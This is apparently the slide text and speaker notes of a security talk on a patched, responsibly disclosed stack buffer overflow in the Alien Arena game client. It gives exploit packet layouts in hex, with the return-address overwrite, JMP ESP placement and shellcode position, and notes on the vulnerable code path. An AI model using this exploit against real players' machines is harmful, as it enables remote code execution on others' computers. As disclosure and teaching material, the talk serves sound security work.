This presentation discusses how an anonymous remote attacker can execute arbitrary code on the computers of Alien Arena's networked players. This vulnerability was responsibly disclosed to the authors of the game and this advisory was not released until a fixed build of the game was released.
19. Offset Hex Data ASCII
0x00000000
0x00000008
0x00000010
FF FF FF FF 73 65 72 76
65 72 73 20 00 00 00 00
00 00 00 00 00 00 FF E4
....serv
ers ....
........
-1 to cause
CL_ReadPackets()to call
CL_ConnectionlessPacket()
“servers” command to cause
CL_ConnectionlessPacket()
to call
CL_ParseGetServersResponse()
servers[0].port = 0x0000
servers[0] lP address
= 0.0.0.0
servers[1] lP address
= 0.0.0.0
servers[1].port = 0xE4FF
20.
21. Offset Hex Data ASCII
0x00000000
0x00000008
...
0x00000108
...
0x000001F0
FF FF FF FF 70 72 69 6E
74 0A 41 41 41 41 41 41
...
41 41 34 97 BE 05 33 C9
...
7A 1A 0A
....prin
t.AAAAAA
AA4...3.
z..
-1 to cause
CL_ReadPackets()to call
CL_ConnectionlessPacket()
“print” command to cause
CL_ConnectionlessPacket()
to call M_AddToServerList(…)
Overwritten Return Address:
0x05BE9734
256 (0x100) junk bytes
‘n’ for GetLine(…) Shellcode
Editor's Notes
3 days before June AHA
Open Source + Game = Easy target
WinMain’s message loop will keep calling Qcommon_Frame(…) to render next frame, which will call CL_Frame(…)
NET_GetPacket(…) receives UDP packets sent from any address to UDP port 27901. Saves UDP data in “net_message.data” buffer.
If first DWORD of received data is -1 (0xFFFFFFFF), calls CL_ConnectionlessPacket().
c points to the packet data immediately following the 0xFFFFFFFF
MSG_ReadString(…) reads a null-terminated string of up to 2048 bytes (including null-terminator) after the “print” string in the packet data
Function argument status_string is up to 2048 bytes long
lasttoken buffer is 256 bytes
If tokenized string from status_string is longer than 256 bytes, strcpy(…) will overflow lasttoken buffer
GS not used – no stack cookie
Light blue = local function variables
Light purple = function arguments (yes, adr structure is passed by value)
Can’t use an address in a Windows system DLL since addresses differ between systems
What about address of a static/global variable in Alien Arena’s executable?...
Remember earlier we saw CL_ParseGetServersResponse() would be called if a UDP packet was received with the “servers” command?...
SERVERINFO struct is 2100 (0x834) bytes long
ESP will point to shellcode after “returning” to overwritten return address